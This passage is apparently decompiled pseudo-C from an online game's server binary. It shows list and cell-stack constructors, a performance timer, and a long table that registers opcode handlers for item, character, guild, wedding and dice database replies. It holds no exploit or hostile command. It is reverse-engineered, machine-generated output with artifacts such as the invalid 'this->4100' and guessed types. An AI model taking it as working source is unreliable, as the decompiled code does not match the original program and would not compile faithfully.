ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0049AA30) -------------------------------------------------------- void __thiscall CellStack::CellStack(CellStack *this) { CellStack *v1; // ebx@1 char *v2; // esi@1 signed int v3; // edx@1 signed int v4; // eax@1 int v5; // edi@1 int v6; // ecx@3 int v7; // ebp@3 int v8; // ecx@3 int v9; // ecx@6 int v10; // ebp@6 int v11; // ecx@6 int v12; // ecx@9 int v13; // ebp@9 int v14; // ecx@9 int v15; // ecx@12 int v16; // ebp@12 int v17; // ecx@12 int v18; // ecx@15 int v19; // ebp@15 int v20; // ecx@15 signed int v21; // [sp+10h] [bp-10h]@1 v1 = this; v2 = (char *)&this->cs_list; this->baseclass_0.vfptr = (TracerVtbl *)&CellStack::_vftable_; this->cs_list.vfptr = (ListVtbl *)List::_vftable_; this->cs_list.l_ListArray = 0; List::l_MakeList(&this->cs_list, 0xC8u); v3 = 2; v4 = 36; v5 = (int)&v1->cs_array[1]; v21 = 40; do { if ( v3 - 2 < *((_WORD *)v2 + 2) ) { v6 = *((_DWORD *)v2 + 2); v7 = *(_DWORD *)(v6 + v4 - 36); v8 = v6 + v4 - 36; if ( !v7 ) *(_DWORD *)v8 = v5 - 24; } if ( v3 - 1 < *((_WORD *)v2 + 2) ) { v9 = *((_DWORD *)v2 + 2); v10 = *(_DWORD *)(v9 + v4 - 24); v11 = v9 + v4 - 24; if ( !v10 ) *(_DWORD *)v11 = v5; } if ( v3 < *((_WORD *)v2 + 2) ) { v12 = *((_DWORD *)v2 + 2); v13 = *(_DWORD *)(v12 + v4 - 12); v14 = v12 + v4 - 12; if ( !v13 ) *(_DWORD *)v14 = v5 + 24; } if ( v3 + 1 < *((_WORD *)v2 + 2) ) { v15 = *((_DWORD *)v2 + 2); v16 = *(_DWORD *)(v15 + v4); v17 = v4 + v15; if ( !v16 ) *(_DWORD *)v17 = v5 + 48; } if ( v3 + 2 < *((_WORD *)v2 + 2) ) { v18 = *((_DWORD *)v2 + 2); v19 = *(_DWORD *)(v18 + v4 + 12); v20 = v18 + v4 + 12; if ( !v19 ) *(_DWORD *)v20 = v5 + 72; } v4 += 60; v3 += 5; v5 += 120; --v21; } while ( v21 ); } // 5B2944: using guessed type int (__stdcall *List_HitMeList__Enemy____vftable_[3])(__int16 hnd); // 5BD598: using guessed type int (__thiscall *CellStack___vftable_)(void *p, char); //----- (0049AB50) -------------------------------------------------------- void __thiscall JunctionPointContainer::JunctionPointContainer(JunctionPointContainer *this) { JunctionPointContainer *v1; // esi@1 signed int v2; // edi@1 signed int v3; // eax@1 int v4; // edx@1 signed int v5; // ebx@1 ListStruct *v6; // ecx@3 PathFindCellLoc *v7; // ebp@3 int v8; // ecx@3 ListStruct *v9; // ecx@6 PathFindCellLoc *v10; // ebp@6 int v11; // ecx@6 ListStruct *v12; // ecx@9 PathFindCellLoc *v13; // ebp@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 PathFindCellLoc *v16; // ebp@12 int v17; // ecx@12 ListStruct *v18; // ecx@15 PathFindCellLoc *v19; // ebp@15 int v20; // ecx@15 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0xC8u); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = 2; v3 = 3; v4 = (int)&v1->jpc_array[1]; v5 = 40; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = v1->baseclass_0.l_Array; v7 = v6[v3 - 3].ls_Content; v8 = (int)&v6[v3 - 3]; if ( !v7 ) *(_DWORD *)v8 = v4 - 8; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = v1->baseclass_0.l_Array; v10 = v9[v3 - 2].ls_Content; v11 = (int)&v9[v3 - 2]; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = v1->baseclass_0.l_Array; v13 = v12[v3 - 1].ls_Content; v14 = (int)&v12[v3 - 1]; if ( !v13 ) *(_DWORD *)v14 = v4 + 8; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3].ls_Content; v17 = (int)&v15[v3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 16; } if ( v2 + 2 < v1->baseclass_0.l_MaxSize ) { v18 = v1->baseclass_0.l_Array; v19 = v18[v3 + 1].ls_Content; v20 = (int)&v18[v3 + 1]; if ( !v19 ) *(_DWORD *)v20 = v4 + 24; } v4 += 40; v3 += 5; v2 += 5; --v5; } while ( v5 ); } // 5BC0DC: using guessed type int (__stdcall *List_HuntLog__MobHuntElement____vftable_[3])(__int16 hnd); //----- (0049AC30) -------------------------------------------------------- void __thiscall PerformanceChecker::PerformanceChecker(PerformanceChecker *this) { this->pc_point.mask = 31; this->pc_point.value = 0; } //----- (0049AC40) -------------------------------------------------------- long double __thiscall PerformanceChecker::pc_loopPERsecond(PerformanceChecker *this) { PerformanceChecker *v1; // esi@1 unsigned int v2; // edx@1 int v3; // eax@1 unsigned int v4; // ecx@1 int v5; // eax@1 int v6; // ecx@1 double v7; // ST08_8@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PerformanceChecker::pc_loopPERsecond"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PerformanceChecker::pc_loopPERsecond"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->pc_point.mask; v3 = v2 & (v1->pc_point.value - 1); v1->pc_point.value = v3; v4 = v1->pc_Buffer[v3]; v5 = v2 & (v3 + 1); v1->pc_point.value = v5; v6 = v4 - v1->pc_Buffer[v5]; --funcallanalizer.fca_stackpoint; v7 = 32.0 / ((double)(unsigned int)v6 * 0.1); FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PerformanceChecker::pc_loopPERsecond"); return v7; } //----- (0049ACE0) -------------------------------------------------------- void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this) { char *v1; // ebx@1 void **v2; // esi@1 signed int v3; // edi@1 this->vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)&PROTOCOLFUNCTIONTEMPLETE::_vftable_; v1 = (char *)this->4100; v2 = (void **)this->pft_funcpnt; v3 = 1024; do { if ( *v2 != v1 ) operator delete__(*v2); ++v2; --v3; } while ( v3 ); } // 5BD6A8: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall GameDBSession_____NETCOMMAND __int_____vftable_)(void *p, char); //----- (0049AD10) -------------------------------------------------------- void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_scalar_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0049AD30) -------------------------------------------------------- void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf) { PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 2, 1, GameDBSession::gds_NC_MISC_S2SCONNECTION_RDY); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 2, 3, GameDBSession::gds_NC_MISC_S2SCONNECTION_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 2, 4, GameDBSession::gds_NC_MISC_HEARTBEAT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 2, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShineObject::so_ply_AdminCommand); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 2, 18, GameDBSession::gds_NC_MISC_PINGTEST_CLIENT_ZONE_DB); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 2, 19, GameDBSession::gds_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 2, 21, GameDBSession::gds_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 69, GameDBSession::gds_NC_ITEMDB_OPENSTORAGE_FAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 70, GameDBSession::gds_NC_ITEMDB_OPENSTORAGE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 2, GameDBSession::gds_NC_ITEMDB_ADMINCREATESUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 3, GameDBSession::gds_NC_ITEMDB_ADMINCREATEFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 11, GameDBSession::gds_NC_ITEMDB_BUYALLSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 12, GameDBSession::gds_NC_ITEMDB_BUYFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 14, GameDBSession::gds_NC_ITEMDB_BUYLOTSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 15, GameDBSession::gds_NC_ITEMDB_BUYFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 35, GameDBSession::gds_NC_ITEMDB_SELLALLSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 36, GameDBSession::gds_NC_ITEMDB_SELLFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 38, GameDBSession::gds_NC_ITEMDB_SELLLOTSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 39, GameDBSession::gds_NC_ITEMDB_SELLFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 17, GameDBSession::gds_NC_ITEMDB_EQUIPSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 18, GameDBSession::gds_NC_ITEMDB_EQUIPFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 20, GameDBSession::gds_NC_ITEMDB_UNEQUIPSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 21, GameDBSession::gds_NC_ITEMDB_UNEQUIPFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 23, GameDBSession::gds_NC_ITEMDB_DROPALLSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 26, GameDBSession::gds_NC_ITEMDB_DROPALLLOT_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 24, GameDBSession::gds_NC_ITEMDB_DROPALLFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 27, GameDBSession::gds_NC_ITEMDB_DROPLOTFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 29, GameDBSession::gds_NC_ITEMDB_PICKALLSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 30, GameDBSession::gds_NC_ITEMDB_PICKALLFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 32, GameDBSession::gds_NC_ITEMDB_PICKMERGESUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 33, GameDBSession::gds_NC_ITEMDB_PICKMERGEFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 57, GameDBSession::gds_NC_ITEMDB_PICKMONEYSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 58, GameDBSession::gds_NC_ITEMDB_PICKMONEYFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 123, GameDBSession::gds_NC_ITEMDB_INC_DEC_MONEYSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 124, GameDBSession::gds_NC_ITEMDB_INC_DEC_MONEYFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 41, GameDBSession::gds_NC_ITEMDB_RELOCSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 42, GameDBSession::gds_NC_ITEMDB_RELOCFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 44, GameDBSession::gds_NC_ITEMDB_EXCHANGESUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 45, GameDBSession::gds_NC_ITEMDB_EXCHANGEFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 47, GameDBSession::gds_NC_ITEMDB_MERGESUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 48, GameDBSession::gds_NC_ITEMDB_MERGEFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 50, GameDBSession::gds_NC_ITEMDB_SPLIT_N_MERGESUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 51, GameDBSession::gds_NC_ITEMDB_SPLIT_N_MERGEFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 53, GameDBSession::gds_NC_ITEMDB_SPLITSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 54, GameDBSession::gds_NC_ITEMDB_SPLITFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 100, GameDBSession::gds_NC_ITEMDB_CHARGED_LIST_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 102, GameDBSession::gds_NC_ITEMDB_CHARGED_WITHDRAW_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 104, GameDBSession::gds_NC_ITEMDB_CREATEMUSHROOMSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 105, GameDBSession::gds_NC_ITEMDB_CREATEMUSHROOMFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 110, GameDBSession::gds_NC_ITEMDB_CHESTITEM_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 145, GameDBSession::gds_NC_ITEMDB_GUILD_TOKEN_BUYALLSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 146, GameDBSession::gds_NC_ITEMDB_BUYFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 148, GameDBSession::gds_NC_ITEMDB_GUILD_TOKEN_BUYLOTSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 149, GameDBSession::gds_NC_ITEMDB_BUYFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 64, GameDBSession::gds_NC_ITEMDB_USE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 66, GameDBSession::gds_NC_ITEMDB_SOULSTONEBUYSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 67, GameDBSession::gds_NC_ITEMDB_SOULSTONEBUYFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 60, GameDBSession::gds_NC_ITEMDB_ITEMTRADEFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 61, GameDBSession::gds_NC_ITEMDB_ITEMTRADESUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 72, GameDBSession::gds_NC_ITEMDB_UPGRADE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 74, GameDBSession::gds_NC_ITEMDB_ITEMCHANGE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 76, GameDBSession::gds_NC_ITEMDB_ITEMTOTALINFORM_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 78, GameDBSession::gds_NC_ITEMDB_CREATEITEMLISTSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 79, GameDBSession::gds_NC_ITEMDB_CREATEITEMLISTFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 22, 22, GameDBSession::gds_NC_KQ_REWARDSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 22, 23, GameDBSession::gds_NC_KQ_REWARDFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 81, GameDBSession::gds_NC_ITEMDB_GETFROMCHESTSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 82, GameDBSession::gds_NC_ITEMDB_GETFROMCHESTFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 86, GameDBSession::gds_NC_ITEMDB_BOOTHTRADE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 88, GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 90, GameDBSession::gds_NC_ITEMDB_DESTROY_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 92, GameDBSession::gds_NC_ITEMDB_QUESTREWARD_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 96, GameDBSession::gds_NC_ITEMDB_DEPOSIT_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 98, GameDBSession::gds_NC_ITEMDB_WITHDRAW_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 107, GameDBSession::gds_NC_ITEMDB_ITEMBREAKSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 108, GameDBSession::gds_NC_ITEMDB_ITEMBREAKFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 119, GameDBSession::gds_NC_ITEMDB_DISMANTLE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 126, GameDBSession::gds_NC_ITEMDB_MINIHOUSE_EFFECT_DEMANDGOOD_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 128, GameDBSession::gds_NC_ITEMDB_REINFORCEUNEQUIPSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 129, GameDBSession::gds_NC_ITEMDB_REINFORCEUNEQUIPFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 140, GameDBSession::gds_NC_ITEMDB_FURNITURE_ENDURE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 142, GameDBSession::gds_NC_ITEMDB_WEAPONENDURE_CHARGE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 159, GameDBSession::gds_NC_ITEMDB_MYSTERY_VAULT_MAKEITEM_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 16, 2, GameDBSession::gds_NC_CHARSAVE_ALL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 16, 6, GameDBSession::NC_CHARSAVE_QUEST_DOING_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 16, 8, GameDBSession::gds_NC_CHARSAVE_ABSTATE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 16, 10, GameDBSession::gds_NC_CHARSAVE_SKILL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 16, 27, GameDBSession::gds_NC_CHARSAVE_REST_EXP_LAST_EXEC_TIME_SAVE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 16, 29, GameDBSession::gds_NC_CHARSAVE_AUTO_PICK_SAVE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 16, 40, GameDBSession::gds_NC_CHARSAVE_DB_UI_STATE_SAVE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 18, 2, GameDBSession::gds_NC_SKILL_SKILLTEACHSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 18, 3, GameDBSession::gds_NC_SKILL_SKILLTEACHFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 18, 13, GameDBSession::gds_NC_SKILL_EMPOW_RESET_DB_SUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 18, 12, GameDBSession::gds_NC_SKILL_EMPOW_RESET_DB_FAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 18, 19, GameDBSession::gds_NC_SKILL_EMPOWALLOC_DB_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 18, 38, GameDBSession::gds_NC_SKILL_ERASE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 23, 8, GameDBSession::gds_NC_WT_LICENSE_CLR_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 23, 6, GameDBSession::gds_NC_WT_LICENSE_SET_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 23, 10, GameDBSession::gds_NC_WT_MOB_KILLCOUNT_SET_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 23, 12, GameDBSession::gds_NC_WT_TITLE_SET_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 87, GameDBSession::gds_NC_CHAR_CLASSCHANGE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 94, GameDBSession::gds_NC_CHAR_STAT_INCPOINTSUC_DB_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 96, GameDBSession::gds_NC_CHAR_STAT_INCPOINTFAIL_DB_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 100, GameDBSession::gds_NC_CHAR_STAT_DECPOINTSUC_DB_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 102, GameDBSession::gds_NC_CHAR_STAT_DECPOINTFAIL_DB_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 210, GameDBSession::gds_NC_CHAR_FREESTAT_SET_DB_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 119, GameDBSession::gds_NC_CHAR_GET_ITEMLIST_BY_TYPE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 129, GameDBSession::gds_NC_CHAR_WEDDINGDATA_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 132, GameDBSession::gds_NC_CHAR_WEDDING_PROPOSE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 134, GameDBSession::gds_NC_CHAR_WEDDING_PROPOSE_CANCEL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 138, GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_BY_AGREE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 140, GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_BY_FORCE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 142, GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_DO_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 144, GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_CANCEL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 146, GameDBSession::gds_NC_CHAR_WEDDING_DO_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 136, GameDBSession::gds_NC_CHAR_WEDDING_ESCAPE_DIVORCE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 148, GameDBSession::gds_NC_CHAR_WEDDING_PARTNER_INFO_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 154, GameDBSession::gds_NC_CHAR_GET_ITEMLIST_BY_TYPE_NUM_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 17, 4, GameDBSession::gds_NC_QUEST_DB_SET_INFO_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 17, 6, GameDBSession::gds_NC_QUEST_DB_CLEAR_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 17, 10, GameDBSession::gds_NC_QUEST_DB_GIVE_UP_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 36, 7, GameDBSession::gds_NC_CHARGED_STAT_INITIALIZE_DB_SUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 36, 8, GameDBSession::gds_NC_CHARGED_SKILLEMPOW_INITIALIZE_DB_SUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 36, 9, GameDBSession::gds_NC_CHARGED_STAT_INITIALIZE_DB_FAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 36, 10, GameDBSession::gds_NC_CHARGED_SKILLEMPOW_INITIALIZE_DB_FAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 114, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShineObject::so_ply_AdminCommand); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 115, GameDBSession::gds_NC_ITEMDB_OPEN_GUILD_STORAGE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 117, GameDBSession::gds_NC_ITEMDB_GUILD_STORAGE_WITHDRAW_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 131, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShineObject::so_ply_AdminCommand); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 132, GameDBSession::gds_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_OPEN_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 134, GameDBSession::gds_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 136, GameDBSession::gds_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 38, 108, GameDBSession::gds_NC_GUILD_ACADEMY_DB_ACADEMY_REWARD_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 29, 230, GameDBSession::gds_NC_GUILD_TOURNAMENT_DB_JOIN_NEW_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 35, 90, GameDBSession::gds_NC_MINIHOUSE_DB_PORTAL_LIST_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 35, 94, GameDBSession::gds_NC_MINIHOUSE_DB_PORTAL_ADD_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 35, 96, GameDBSession::gds_NC_MINIHOUSE_DB_PORTAL_DEL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 35, 92, GameDBSession::gds_NC_MINIHOUSE_DB_VISITER_COUNT_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 180, GameDBSession::gds_NC_CHAR_REGNUM_VARIFICATION_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 37, 63, GameDBSession::gds_NC_HOLY_PROMISE_DB_GET_CEN_REWARD_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 37, 67, GameDBSession::gds_NC_HOLY_PROMISE_DB_WITHDRAW_CEN_REWARD_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 43, 36, GameDBSession::gds_NC_DICE_TAISAI_DB_DICE_ROLL_RESULT_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 43, 13, GameDBSession::gds_NC_DICE_TAISAI_DB_EXPECT_INCOME_MONEY_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 43, 17, GameDBSession::gds_NC_DICE_TAISAI_DB_RECEIPT_INCOME_MONEY_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 43, 24, GameDBSession::gds_NC_DICE_TAISAI_DB_RANK_ACK); 